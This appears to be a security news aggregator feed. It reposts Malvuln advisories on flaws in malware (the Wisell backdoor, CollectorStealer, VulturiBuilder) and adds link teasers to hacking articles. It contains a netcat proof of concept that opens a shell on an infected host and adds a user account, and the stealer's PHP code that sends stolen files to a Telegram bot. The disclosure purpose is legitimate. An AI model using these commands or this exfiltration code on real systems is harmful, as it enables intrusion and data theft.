Exploit Collector
Backdoor.Win32.Wisell Remote Command Execution

https://4.bp.blogspot.com/-OTiSJPLOhfQ/WWlvdFudhmI/AAAAAAAAIPg/Ji3s4Viv0XwGl76TD9pbO-WowW5kHfgewCLcBGAs/s1600/h78.png
Backdoor.Win32.Wisell malware suffers from a remote command execution vulnerability.

MD5 | 235e6158650f534d03cf794bbe213c8c

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/57bda78cc5fd6a06017148bae28e8e39.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wisell
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5277. Third-party attackers who can reach an infected system can run any OS commands further compromising the host.
Type: PE32
MD5: 57bda78cc5fd6a06017148bae28e8e39
Vuln ID: MVID-2022-0460
Disclosure: 01/19/2022

Exploit/PoC:
nc64.exe x.x.x.x 5277
WinShell v1.0 - '!' to quit, 'enter' to shell...
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>whoami
whoami
desktop-2c3iqho\victim

C:\dump>net user HYP3RLINX 666 /add
net user HYP3RLINX 666 /add
The command completed successfully.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CollectorStealerBuilder Panel 2.0.0 Insecure Credential Storage

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CollectorStealerBuilder Panel 2.0.0 Man-In-The-Middle

https://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png
The panel for Collector Stealer malware version 2.0.0 suffers from a man-in-the-middle vulnerability.

MD5 | 78d4972e4013313c7d6d598a0bb2c3dc

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/54530f88c8e4f4371c9418f00c256b1d_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: CollectorStealerBuilder v2.0.0 Panel
Vulnerability: Man-in-the-Middle (MITM)
Description: MITM vector exists as the CURL request used when sending data to "api.telegram.org/bot" has CURLOPT_SSL_VERIFYPEER set to false. CURLOPT_SSL_VERIFYPEER checks if remote certificate is valid and that you trust was issued by a CA you trust and it's genuine.
Type: WebUI
MD5: 54530f88c8e4f4371c9418f00c256b1d
MD5: 8c003105229554557c75ec836b4fcf79 (collect.php)
Vuln ID: MVID-2022-0459
Disclosure: 01/19/2022

Exploit/PoC:
Vulnerable "collect.php" code snippet.

$desc = "_________________________ \r\n\n🏴 IP: " . $ip . "\n🌐 Country: " . $country . "\n🏠 City: " . $city . "\n🔧 Build: ". $Build[1] . "\r\n_________________________ \n\n" . $desc; // Добавляем айпи и город
$url = "https://api.telegram.org/bot" . $token . "/sendDocument";
$document = new CURLFile(realpath($dest_path));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ["chat_id" => $chat_id, "document" => $document, "caption" => $desc]);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type:multipart/form-data"]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$out = curl_exec($ch);
curl_close($ch);
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VulturiBuilder Insecure Permissions

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
VulturiBuilder malware suffers from an insecure permissions vulnerability.

MD5 | ae3e3340f93567f3bbe330d3e69b0088

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/ca294b2f778abc14fef6313b3cea7155.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: VulturiBuilder
Vulnerability: Insecure Permissions
Description: The malware writes an .EXE with insecure permissions under c:\ drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: ca294b2f778abc14fef6313b3cea7155
Vuln ID: MVID-2022-0457
Disclosure: 01/19/2022
Exploit/PoC:
C:\>cacls hate.exe
C:\hate.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\>dir hate.exe
Volume in drive C has no label.

Directory of C:\

01/11/2022 07:25 PM 298,496 hate.exe
1 File(s) 298,496 bytes
0 Dir(s) 27,531,624,448 bytes free
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Steganography — Crack password protected message!

https://cdn-images-1.medium.com/max/1640/1*TME_UOT0Ysds2gmOI-N9nw.png
Welcome.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Types of Network Security Tools

https://cdn-images-1.medium.com/max/728/1*G1lmxAFrTTC0DL8AvA0FWw.jpeg
Hey Amazing Hackers, welcome back to my blogpost today I am going to cover about some sniffing tools and how hackers do use those tools…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How many user accounts were hacked on Crypto.com ?

https://cdn-images-1.medium.com/max/1280/0*B7d31V938DGDq8Ek.jpg
For once, it’s not decentralized finance (DeFi) that is the subject of a hack. After suspicions of hacks earlier this week, the…

Continue reading on CryptoStars »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Guía de medidas de ciberseguridad para protegerse contra amenazas críticas (CISA)

https://cdn-images-1.medium.com/max/1526/0*4SMMGm6zukV5cONW
PUBLICADO EN 20 ENERO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Nueva vulnerabilidad en SolarWinds es utilizada para aprovechar fallas de Log4j

https://cdn-images-1.medium.com/max/1648/0*aiolXZ1-T1JZQJOL
PUBLICADO EN 20 ENERO, 2022 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Not Trying to break the rules

How to Hack a Strong Server Online Game

submitted by /u/UltimateNemsis
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Red Cross implores hackers not to leak data for 515k “highly vulnerable people”

https://external-preview.redd.it/Fnaz4JV-R5XOfP488gpy_JIgWOa3ABfdy9TBWxvSkhI.jpg?width=640&crop=smart&auto=webp&s=a896db2bacb85be92cbe956501167814c5c7c5f0 submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible to replace a file hash with a predefined value?

As the title states, I am looking to see if there is a method or ability to replace a file hash with a predefined value or a way to manually assign it a value? This is for exercise purposes, not for malicious intent. I have never thought about the concept, but was thinking about an idea for an exercise yesterday and figured it was worth looking into.

submitted by /u/DarkJediSkii
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video